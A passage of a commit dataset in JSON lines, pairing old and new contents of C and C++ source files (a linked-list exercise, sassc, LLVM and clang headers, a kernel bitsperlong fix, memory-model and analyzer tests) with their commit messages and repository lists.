connectNodes();\n\n  CNodeO * parseExpression(C_INT16 priority);\n\n  CNodeO * parsePrimary();\n};\n\n#endif\n","subject":"Define the user defined functions","message":"Define the user defined functions\n","lang":"C","license":"artistic-2.0","repos":"copasi\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,copasi\/COPASI"}
{"commit":"6dbc01bdc114c92c2b76b8999572aaaf97f0b988","old_file":"SplitEveryNodeOddEvenData.c","new_file":"SplitEveryNodeOddEvenData.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\nstruct node {\n        int data;\n        struct node *next;\n};\nstruct node *createNode (int value) {\n        struct node *newNode = (struct node *) malloc (sizeof (struct node));\n        newNode -> data = value;\n        newNode -> next = NULL;\n        return newNode;\n}\nvoid insertNode (struct node **head_ref, struct node **tail_ref, int value) {\n        struct node *newNode = createNode (value);\n        if (*head_ref == NULL) {\n                *head_ref = newNode;\n                *tail_ref = newNode;\n}\n        else {\n                (*tail_ref) -> next = newNode;\n                *tail_ref = newNode;\n}\n}\nvoid  printList (struct node *head) {\n        while (head != NULL) {\n                printf (\"%d -> \", head->data);\n                head = head->next;\n}\n        printf (\"NULL\\n\");\n}\nvoid destroyList (struct node *head) {\n        struct node *nextNode = head;\n        while (head != NULL) {\n                nextNode = head -> next;\n                free (head);\n                head = nextNode;\n}\n        printf(\"Destroyed it\\n\" );\n}\nvoid splitEveryNodeOnOddEvenData (struct node **head_ref) {\n        struct node *currentNode = NULL;\n        struct node *nextNode = NULL;\n        struct node *newNode = NULL;\n        int element;\n        currentNode = (*head_ref);\n        if (currentNode == NULL) {\n                return;\n}\n        while (currentNode != NULL) {\n                nextNode = currentNode->next;\n                element = currentNode->data;\n                if (element % 2 == 0) {\n                        newNode = createNode (element\/2);\n                        currentNode->data \/= 2;\n}\n                else {\n                        newNode = createNode (element - element\/2);\n                        currentNode->data \/= 2;\n}\n        currentNode->next = newNode;\n        newNode->next = nextNode;\n        currentNode = nextNode;\n}\n}\nint main (int argc, char *argv[]) {\n        int value;\n        struct node *head = NULL;\n        struct node *tail = NULL;\n        char buffer[2048];\n        char *p = NULL;\n\n        fgets (buffer, 2048, stdin);\n        p = strtok (buffer, \"NULL > | \\n\");\n        while (p != NULL) {\n                sscanf (p, \"%d\", &value);\n                insertNode (&head, &tail, value);\n                p = strtok (NULL, \"NULL null | > \\n\");\n}\n        printList (head);\n        splitEveryNodeOnOddEvenData (&head);\n        printList (head);\n        destroyList (head);\n        head = NULL;\n        tail = NULL;\n        return 0;\n}\n","subject":"Split every node into two based on node data","message":"Split every node into two based on node data\n\nSplit every node into two nodes based on data of the node. If the data is odd, the second node gets the greater half.","lang":"C","license":"mit","repos":"devrezo\/iaap"}
{"commit":"b948816730acd4d25151d8dceaa1a0f9df30c04a","old_file":"sassc.c","new_file":"sassc.c","old_contents":"#include <stdio.h>\n#include \"libsass\/sass_interface.h\"\n\nint main(int argc, char** argv)\n{\n\tif (argc < 2) {\n\t\tprintf(\"Usage: sassc [INPUT FILE]\\n\");\n\t\treturn 0;\n\t}\n\n\tstruct sass_file_context* ctx = sass_new_file_context();\n\tctx->options.include_paths = \"\";\n\tctx->options.image_path = \"images\";\n\tctx->options.output_style = SASS_STYLE_NESTED;\n\tctx->input_path = argv[1];\n\n\tsass_compile_file(ctx);\n\n\tif (ctx->error_status) {\n\t\tif (ctx->error_message)\n\t\t\tprintf(\"%s\", ctx->error_message);\n\t\telse\n\t\t\tprintf(\"An error occured; no error message available.\\n\");\n\t}\n\telse if (ctx->output_string) {\n\t\tprintf(\"%s\", ctx->output_string);\n\t}\n\telse {\n\t\tprintf(\"Unknown internal error.\\n\");\n\t}\n\n\tsass_free_file_context(ctx);\n\treturn 0;\n}\n\n","new_contents":"#include <stdio.h>\n#include \"libsass\/sass_interface.h\"\n\nint main(int argc, char** argv)\n{\n\tint ret;\n\n\tif (argc < 2) {\n\t\tprintf(\"Usage: sassc [INPUT FILE]\\n\");\n\t\treturn 0;\n\t}\n\n\tstruct sass_file_context* ctx = sass_new_file_context();\n\tctx->options.include_paths = \"\";\n\tctx->options.image_path = \"images\";\n\tctx->options.output_style = SASS_STYLE_NESTED;\n\tctx->input_path = argv[1];\n\n\tsass_compile_file(ctx);\n\n\tif (ctx->error_status) {\n\t\tif (ctx->error_message)\n\t\t\tprintf(\"%s\", ctx->error_message);\n\t\telse\n\t\t\tprintf(\"An error occured; no error message available.\\n\");\n\t\tret = 1;\n\t}\n\telse if (ctx->output_string) {\n\t\tprintf(\"%s\", ctx->output_string);\n\t\tret = 0;\n\t}\n\telse {\n\t\tprintf(\"Unknown internal error.\\n\");\n\t\tret = 2;\n\t}\n\n\tsass_free_file_context(ctx);\n\treturn ret;\n}\n\n","subject":"Exit with an error code when an error occurs.","message":"Exit with an error code when an error occurs.\n","lang":"C","license":"mit","repos":"saper\/sassc,am11\/sassc,am11\/sassc,djam90\/sassc,djam90\/sassc,am11\/sassc,saper\/sassc,saper\/sassc,rightisleft\/sassc,rightisleft\/sassc,rightisleft\/sassc,djam90\/sassc"}
{"commit":"3a2a226a40c5605ff77d126f262869d88205b42d","old_file":"tests\/regression\/56-witness\/51-witness-lifter-ps1.c","new_file":"tests\/regression\/56-witness\/51-witness-lifter-ps1.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.sv-comp.enabled --enable ana.sv-comp.functions --set ana.specification 'CHECK( init(main()), LTL(G ! call(reach_error())) )' --enable ana.int.interval\n\/\/ previously both branches dead\n\/\/ simplified from 28-race_reach\/06-cond_racing1\n#include <pthread.h>\n#include <assert.h>\n\nint __VERIFIER_nondet_int();\n\npthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\n\nint main() {\n  int i = __VERIFIER_nondet_int();\n\n  if (i) pthread_mutex_lock(&mutex);\n\n  if (i)\n    assert(1); \/\/ reachable\n  else\n    assert(1); \/\/ reachable\n\n  assert(1); \/\/ reachable\n\n  return 0;\n}","subject":"Add witness lifter path sensitive unsound branch test","message":"Add witness lifter path sensitive unsound branch test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"a4814f155a44cd35b91f8913669eff81aa54f617","old_file":"ObjectiveRocks\/RocksDBPrefixExtractor.h","new_file":"ObjectiveRocks\/RocksDBPrefixExtractor.h","old_contents":"\/\/\n\/\/  RocksDBPrefixExtractor.h\n\/\/  ObjectiveRocks\n\/\/\n\/\/  Created by Iska on 26\/12\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef NS_ENUM(NSUInteger, RocksDBPrefixType)\n{\n\tRocksDBPrefixFixedLength\n};\n\n@interface RocksDBPrefixExtractor : NSObject\n\n+ (instancetype)prefixExtractorWithType:(RocksDBPrefixType)type length:(size_t)length;\n\n- (instancetype)initWithName:(NSString *)name\n\t\t\t  transformBlock:(id (^)(id key))transformBlock\n\t\tprefixCandidateBlock:(BOOL (^)(id key))prefixCandidateBlock\n\t\t\tvalidPrefixBlock:(BOOL (^)(id prefix))validPrefixBlock;\n\n@end\n","new_contents":"\/\/\n\/\/  RocksDBPrefixExtractor.h\n\/\/  ObjectiveRocks\n\/\/\n\/\/  Created by Iska on 26\/12\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/**\n Constants for the built-in prefix extractors.\n *\/\ntypedef NS_ENUM(NSUInteger, RocksDBPrefixType)\n{\n\t\/** @brief Extract a fixed-length prefix for each key. *\/\n\tRocksDBPrefixFixedLength\n};\n\n\/**\n `RocksDBIterator` supports iterating inside a key-prefix by providing a `RocksDBPrefixExtractor`.\n\n The `RocksDBPrefixExtractor` defines a Slice-Transform function that is applied to each key when \n itarating the DB in order to extract the prefix for the prefix-seek API.\n *\/\n@interface RocksDBPrefixExtractor : NSObject\n\n\/**\n Intializes a new instance of the prefix extarctor with the given type and length.\n \n @param type The type of the prefix extractor.\n @param length The length of the desired prefix.\n @return A newly-initialized instance of a prefix extractor.\n *\/\n+ (instancetype)prefixExtractorWithType:(RocksDBPrefixType)type length:(size_t)length;\n\n\/**\n Intializes a new instance of the prefix extarctor with the given transformation functions.\n\n @param transformBlock A block to apply to each key to extract the prefix.\n @param prefixCandidateBlock A block that is applied to each key before the transformation \n in order to filter out keys that are not viable candidates for the custom prefix format, \n e.g. key length is smaller than the target prefix length.\n @param validPrefixBlock A block that is applied to each key after the transformation in\n order to perform extra checks to verify that the extracted prefix is valid.\n @return A newly-initialized instance of a prefix extractor.\n *\/\n- (instancetype)initWithName:(NSString *)name\n\t\t\t  transformBlock:(id (^)(id key))transformBlock\n\t\tprefixCandidateBlock:(BOOL (^)(id key))prefixCandidateBlock\n\t\t\tvalidPrefixBlock:(BOOL (^)(id prefix))validPrefixBlock;\n\n@end\n","subject":"Add source code documentation for the Prefix Extractor class","message":"Add source code documentation for the Prefix Extractor class\n","lang":"C","license":"mit","repos":"iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks"}
{"commit":"2913ca73b85c670fa06bb15cc15ee6bc79b99214","old_file":"mp-imb-test.c","new_file":"mp-imb-test.c","old_contents":"","new_contents":"\/\/ Test if message passing works\n\/\/ Should on x86, not on arm\n\/\/ Basically always just doesn't see the write at all.\n\/\/ Probably need to loop.\n\n\/\/ On ARM:\n\/\/ mp        - observed\n\/\/ mp+ctrl   - observed\n\/\/ mp+addr   - not observed :( was hoping to\n\/\/ mp+sync+addr - not observed; good!\n\n\n#include \"atomic.h\"\n#include <stdio.h>\n#include <assert.h>\n\nvolatile long data PADDED = 1;\nvolatile long ready PADDED = 0;\n\nvolatile long *pdata;\n\nvolatile int foo;\n\nint thread0()\n{\n    \/\/ Trying a bunch of things to see if I can get that ready write\n    \/\/ to happen before the data one, but I haven't managed.\n\/\/    extern int go; \/* durrrr *\/\n\/\/    data = go * go + 1;\n    *pdata = 1;\n\/\/    smp_mb();\n    ready = 1;\n    return 0;\n}\n\nint thread1()\n{\n    int rready;\n    while (!(rready = ready));\n    ctrl_isync(rready);\n    int rdata = data;\n    return ((!!rdata)<<1) | rready;\n}\n\nvoid reset()\n{\n    pdata = &data;\n    assert(data != 0);\n    ready = 0;\n    data = 0;\n}\n\n\/\/ Formatting results\nint result_counts[4];\n\nvoid process_results(int *r)\n{\n    int idx = r[1];\n    result_counts[idx]++;\n}\n\nvoid summarize_results()\n{\n    for (int r0 = 0; r0 <= 1; r0++) {\n        for (int r1 = 0; r1 <= 1; r1++) {\n            int idx = (r1<<1) | r0;\n            printf(\"ready=%d data=%d: %d\\n\", r0, r1, result_counts[idx]);\n        }\n    }\n    printf(\"&data = %p, &ready=%p\\n\", &data, &ready);\n}\n\n\ntypedef int (test_fn)();\ntest_fn *test_fns[] = {thread0, thread1};\n\nint thread_count = 2;\n","subject":"Add an MP test that uses imb instead of deps","message":"Add an MP test that uses imb instead of deps\n","lang":"C","license":"mit","repos":"msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler"}
{"commit":"591ae5483d1838718b59cd26b5e2ad108c9446a4","old_file":"ImWindowDX11\/ImwWindowManagerDX11.h","new_file":"ImWindowDX11\/ImwWindowManagerDX11.h","old_contents":"\n#ifndef __IM_WINDOW_MANAGER_DX11_H__\n#define __IM_WINDOW_MANAGER_DX11_H__\n\n#include \"ImwConfig.h\"\n\n#include \"ImwWindowManager.h\"\n\nnamespace ImWindow\n{\n\tclass ImwWindowManagerDX11 : public ImwWindowManager\n\t{\n\tpublic:\n\t\tImwWindowManagerDX11();\n\t\tvirtual\t\t\t\t\t\t\t~ImwWindowManagerDX11();\n\tprotected:\n\t\tvirtual ImwPlatformWindow*\t\tCreatePlatformWindow(bool bMain, ImwPlatformWindow* pParent, bool bDragWindow);\n\n\t\tvirtual void\t\t\t\t\tLogFormatted(const char* pStr);\n\n\t\tvirtual void\t\t\t\t\tInternalRun();\n\t\tvirtual ImVec2\t\t\t\t\tGetCursorPos();\n\t\tvirtual bool\t\t\t\t\tIsLeftClickDown();\n\t};\n}\n\n#endif \/\/__IM_WINDOW_MANAGER_DX11_H__","new_contents":"\n#ifndef __IM_WINDOW_MANAGER_DX11_H__\n#define __IM_WINDOW_MANAGER_DX11_H__\n\n#include \"ImwConfig.h\"\n\n#include \"ImwWindowManager.h\"\n\nnamespace ImWindow\n{\n\tclass ImwWindowManagerDX11 : public ImwWindowManager\n\t{\n\tpublic:\n\t\tImwWindowManagerDX11();\n\t\tvirtual\t\t\t\t\t\t\t~ImwWindowManagerDX11();\n\tprotected:\n\t\tvirtual bool\t\t\t\t\tCanCreateMultipleWindow() { return true; }\n\t\tvirtual ImwPlatformWindow*\t\tCreatePlatformWindow(bool bMain, ImwPlatformWindow* pParent, bool bDragWindow);\n\n\t\tvirtual void\t\t\t\t\tLogFormatted(const char* pStr);\n\n\t\tvirtual void\t\t\t\t\tInternalRun();\n\t\tvirtual ImVec2\t\t\t\t\tGetCursorPos();\n\t\tvirtual bool\t\t\t\t\tIsLeftClickDown();\n\t};\n}\n\n#endif \/\/__IM_WINDOW_MANAGER_DX11_H__","subject":"Add forgotten function in DX11 implementation","message":"Add forgotten function in DX11 implementation\n","lang":"C","license":"mit","repos":"thennequin\/ImWindow,thennequin\/ImWindow,thennequin\/ImWindow"}
{"commit":"0360c3310a40c7d46877d0842f21233e8c6b7e60","old_file":"lib\/sanitizer_common\/sancov_flags.h","new_file":"lib\/sanitizer_common\/sancov_flags.h","old_contents":"\/\/===-- sancov_flags.h ------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Sanitizer Coverage runtime flags.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef SANCOV_FLAGS_H\n#define SANCOV_FLAGS_H\n\n#include \"sanitizer_flag_parser.h\"\n#include \"sanitizer_internal_defs.h\"\n\nnamespace __sancov {\n\nstruct SancovFlags {\n#define SANCOV_FLAG(Type, Name, DefaultValue, Description) Type Name;\n#include \"sancov_flags.inc\"\n#undef SANCOV_FLAG\n\n  void SetDefaults();\n};\n\nextern SancovFlags sancov_flags_dont_use_directly;\n\ninline SancovFlags* sancov_flags() { return &sancov_flags_dont_use_directly; }\n\nvoid InitializeSancovFlags();\n\nextern \"C\" SANITIZER_INTERFACE_ATTRIBUTE SANITIZER_WEAK_ATTRIBUTE const char*\n__sancov_default_options();\n\n}  \/\/ namespace __sancov\n\n#endif\n","new_contents":"\/\/===-- sancov_flags.h ------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Sanitizer Coverage runtime flags.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef SANCOV_FLAGS_H\n#define SANCOV_FLAGS_H\n\n#include \"sanitizer_flag_parser.h\"\n#include \"sanitizer_internal_defs.h\"\n\nnamespace __sancov {\n\nstruct SancovFlags {\n#define SANCOV_FLAG(Type, Name, DefaultValue, Description) Type Name;\n#include \"sancov_flags.inc\"\n#undef SANCOV_FLAG\n\n  void SetDefaults();\n};\n\nextern SancovFlags sancov_flags_dont_use_directly;\n\ninline SancovFlags* sancov_flags() { return &sancov_flags_dont_use_directly; }\n\nvoid InitializeSancovFlags();\n\n}  \/\/ namespace __sancov\n\nextern \"C\" SANITIZER_INTERFACE_ATTRIBUTE SANITIZER_WEAK_ATTRIBUTE const char*\n__sancov_default_options();\n\n#endif\n","subject":"Move __sancov_default_options declaration outside the namespace __sancov","message":"[sancov] Move __sancov_default_options declaration outside the namespace __sancov\n\nAfter this commint, we can include sancov_flags.h and refer to\n__sancov_default_options without requiring the namespace prefix.\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D29167\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@293731 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"5d10713e968041bbb85b19b5dc673d33b7d1ef7d","old_file":"cc1\/tests\/test022.c","new_file":"cc1\/tests\/test022.c","old_contents":"","new_contents":"\n\/*\nname: TEST022\ndescription: Basic test for int constants\ncomments: This test is done for z80 data types\noutput:\nF1\nG1\tF1\tmain\n{\n-\nA2\tI\ti\nA3\tN\tu\n\tA2\t#I1\t:I\n\tA2\t#IFFFF\t:I\n\tA2\t#IFFFF\t:I\n\tA2\t#IFFFF\t:I\n\tA2\t#IFFFF\t:I\n\tA2\t#I3\t:I\n\tA2\t#I1\t:I\n\tA2\t#I0\t:I\n\tA3\t#N1\t:N\n\tA3\t#NFFFF\t:N\n\tA3\t#NFFFF\t:N\n\tA3\t#NFFFF\t:N\n\tA3\t#NFFFF\t:N\n\tA3\t#N0\t:N\n\tA3\t#N3\t:N\n\tA3\t#N0\t:N\n\ty\t#I0\n}\n*\/\n\nint\nmain(void)\n{\n\tint i;\n\tunsigned u;\n\n\ti = 1;\n\ti = -1;\n\ti = -1l;\n\ti = -1u;\n\ti = -1ll;\n\ti = 32766 + 1 & 3;\n\ti = (int) 32768 < 0;\n\ti = -1u < 0;\n\n\tu = 1;\n\tu = -1;\n\tu = -1l;\n\tu = -1u;\n\tu = -1ll;\n\tu = (unsigned) 32768 < 0;\n\tu = 32766 + 1 & 3;\n\tu = -1u < 0;\n\treturn 0;\n}\n","subject":"Add basic test for integer constans","message":"Add basic test for integer constans\n\nThis test fails at this moment because overflow in constant castings\nare not correctly handled.\n","lang":"C","license":"isc","repos":"8l\/scc,k0gaMSX\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc"}
{"commit":"68c6b7bf28749e8d71d5cb7d28dceb0cd1592caf","old_file":"src\/FTDebouncer-Lambda.h","new_file":"src\/FTDebouncer-Lambda.h","old_contents":"#include \"FTDebouncer.h\"\n\n\/\/Dummy function implementations to satisfy linker when using lambdas\nvoid onPinActivated(int pinNumber){}\nvoid onPinDeactivated(int pinNumber){}","new_contents":"#ifndef FTDEBOUNCER_LAMBDA_H\n#define FTDEBOUNCER_LAMBDA_H\n\n#include \"FTDebouncer.h\"\n\n\/\/Dummy function implementations to satisfy linker when using lambdas\nvoid onPinActivated(int pinNumber){}\nvoid onPinDeactivated(int pinNumber){}\n\n#endif","subject":"Add include guard for lambda header","message":"Add include guard for lambda header\n","lang":"C","license":"mit","repos":"ubidefeo\/FTDebouncer"}
{"commit":"fb26025575421f179020b812c4e9e958812a3dee","old_file":"include\/clang\/Basic\/MacroBuilder.h","new_file":"include\/clang\/Basic\/MacroBuilder.h","old_contents":"\/\/===--- MacroBuilder.h - CPP Macro building utilitiy -----------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines the MacroBuilder utility class.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_BASIC_MACROBUILDER_H\n#define LLVM_CLANG_BASIC_MACROBUILDER_H\n\n#include \"llvm\/ADT\/Twine.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\nnamespace clang {\n\nclass MacroBuilder {\n  llvm::raw_ostream &Out;\npublic:\n  MacroBuilder(llvm::raw_ostream &Output) : Out(Output) {}\n\n  \/\/\/ Append a #define line for macro of the form \"#define Name Value\\n\".\n  void defineMacro(const llvm::Twine &Name, const llvm::Twine &Value = \"1\") {\n    Out << \"#define \" << Name << ' ' << Value << '\\n';\n  }\n\n  \/\/\/ Append a #undef line for Name.  Name should be of the form XXX\n  \/\/\/ and we emit \"#undef XXX\".\n  void undefineMacro(const llvm::Twine &Name) {\n    Out << \"#undef \" << Name << '\\n';\n  }\n\n  \/\/\/ Directly append Str and a newline to the underlying buffer.\n  void append(const llvm::Twine &Str) {\n    Out << Str << '\\n';\n  }\n};\n\n}  \/\/ end namespace clang\n\n#endif\n","new_contents":"\/\/===--- MacroBuilder.h - CPP Macro building utility ------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines the MacroBuilder utility class.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_BASIC_MACROBUILDER_H\n#define LLVM_CLANG_BASIC_MACROBUILDER_H\n\n#include \"llvm\/ADT\/Twine.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\nnamespace clang {\n\nclass MacroBuilder {\n  llvm::raw_ostream &Out;\npublic:\n  MacroBuilder(llvm::raw_ostream &Output) : Out(Output) {}\n\n  \/\/\/ Append a #define line for macro of the form \"#define Name Value\\n\".\n  void defineMacro(const llvm::Twine &Name, const llvm::Twine &Value = \"1\") {\n    Out << \"#define \" << Name << ' ' << Value << '\\n';\n  }\n\n  \/\/\/ Append a #undef line for Name.  Name should be of the form XXX\n  \/\/\/ and we emit \"#undef XXX\".\n  void undefineMacro(const llvm::Twine &Name) {\n    Out << \"#undef \" << Name << '\\n';\n  }\n\n  \/\/\/ Directly append Str and a newline to the underlying buffer.\n  void append(const llvm::Twine &Str) {\n    Out << Str << '\\n';\n  }\n};\n\n}  \/\/ end namespace clang\n\n#endif\n","subject":"Fix a typo pointed about by gabor.","message":"Fix a typo pointed about by gabor.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@93997 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"f4b4aae1828855db761bf998ce37d3062b1d6446","old_file":"arch\/x86\/include\/uapi\/asm\/bitsperlong.h","new_file":"arch\/x86\/include\/uapi\/asm\/bitsperlong.h","old_contents":"#ifndef __ASM_X86_BITSPERLONG_H\n#define __ASM_X86_BITSPERLONG_H\n\n#ifdef __x86_64__\n# define __BITS_PER_LONG 64\n#else\n# define __BITS_PER_LONG 32\n#endif\n\n#include <asm-generic\/bitsperlong.h>\n\n#endif \/* __ASM_X86_BITSPERLONG_H *\/\n\n","new_contents":"#ifndef __ASM_X86_BITSPERLONG_H\n#define __ASM_X86_BITSPERLONG_H\n\n#if defined(__x86_64__) && !defined(__ILP32__)\n# define __BITS_PER_LONG 64\n#else\n# define __BITS_PER_LONG 32\n#endif\n\n#include <asm-generic\/bitsperlong.h>\n\n#endif \/* __ASM_X86_BITSPERLONG_H *\/\n\n","subject":"Fix __BITS_PER_LONG value for x32 builds","message":"x86\/headers\/uapi: Fix __BITS_PER_LONG value for x32 builds\n\nOn x32, gcc predefines __x86_64__ but long is only 32-bit.  Use\n__ILP32__ to distinguish x32.\n\nFixes this compiler error in perf:\n\n\ttools\/include\/asm-generic\/bitops\/__ffs.h: In function '__ffs':\n\ttools\/include\/asm-generic\/bitops\/__ffs.h:19:8: error: right shift count >= width of type [-Werror=shift-count-overflow]\n\t  word >>= 32;\n\t       ^\n\nThis isn't sufficient to build perf for x32, though.\n\nSigned-off-by: Ben Hutchings <73675debcd8a436be48ec22211dcf44fe0df0a64@decadent.org.uk>\nCc: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>\nCc: Mike Galbraith <3cfa3897b7f55b5396b7a47c83b66325184bc9b4@gmx.de>\nCc: Peter Zijlstra <3fddac958924aef220f202ca567388ddab3f14a8@infradead.org>\nCc: Thomas Gleixner <00e4cf8f46a57000a44449bf9dd8cbbcc209fd2a@linutronix.de>\nCc: 2578944098299abf708b08eff6fcf60565553586@vger.kernel.org\nLink: 1a33e98b5ba0bc803f6f34527d38fce92e88714d@decadent.org.uk\nSigned-off-by: Ingo Molnar <9dbbbf0688fedc85ad4da37637f1a64b8c718ee2@kernel.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"cfb81918edab8bed2c8bbab5602342b60c1a60a7","old_file":"runtime\/GCCLibraries\/libgcc\/eprintf.c","new_file":"runtime\/GCCLibraries\/libgcc\/eprintf.c","old_contents":"","new_contents":"#include <stdio.h>\nvoid abort(void);\n\n\/* This is used by the `assert' macro.  *\/\nvoid\n__eprintf (const char *string, const char *expression,\n           unsigned int line, const char *filename)\n{\n  fprintf (stderr, string, expression, line, filename);\n  fflush (stderr);\n  abort ();\n}\n\n","subject":"Implement the printf function, used by assert","message":"Implement the printf function, used by assert\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@2666 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm"}
{"commit":"acd4d69243c48f9bbff625d269b337eed0c47f24","old_file":"SSPSolution\/SSPSolution\/MenuState.h","new_file":"SSPSolution\/SSPSolution\/MenuState.h","old_contents":"#ifndef SSPAPPLICATION_GAMESTATES_MENUSTATE_H\n#define SSPAPPLICATION_GAMESTATES_MENUSTATE_H\n#include \"GameState.h\"\nclass MenuState :\n\tpublic GameState\n{\nprivate:\npublic:\n\tMenuState();\n\t~MenuState();\n\n\tint ShutDown();\n\tint Initialize(GameStateHandler* gsh, ComponentHandler* cHandler);\n\tint Update(float dt, InputHandler * inputHandler);\nprivate:\n};\n\n#endif","new_contents":"#ifndef SSPAPPLICATION_GAMESTATES_MENUSTATE_H\n#define SSPAPPLICATION_GAMESTATES_MENUSTATE_H\n#include \"GameState.h\"\n#include \"..\/GraphicsDLL\/GraphicsComponent.h\"\nclass MenuState :\n\tpublic GameState\n{\nprivate:\n\tconst static int m_NR_OF_MENU_ITEMS = 2;\n\tUIComponent* m_uiComps[NR_OF_MENU_ITEMS];\n\tTextComponent* m_textComps[NR_OF_MENU_ITEMS];\npublic:\n\tMenuState();\n\t~MenuState();\n\n\tint ShutDown();\n\tint Initialize(GameStateHandler* gsh, ComponentHandler* cHandler);\n\tint Update(float dt, InputHandler * inputHandler);\nprivate:\n};\n\n#endif","subject":"ADD ui and text comps to menustate","message":"ADD ui and text comps to menustate\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"9f6454a084ed56920de2c6bb0cfdb3fa258a0e54","old_file":"features\/cellular\/framework\/targets\/QUECTEL\/BC95\/QUECTEL_BC95_CellularPower.h","new_file":"features\/cellular\/framework\/targets\/QUECTEL\/BC95\/QUECTEL_BC95_CellularPower.h","old_contents":"\/*\n * Copyright (c) 2017, Arm Limited and affiliates.\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef TELIT_HE910_CELLULAR_POWER_H_\n#define 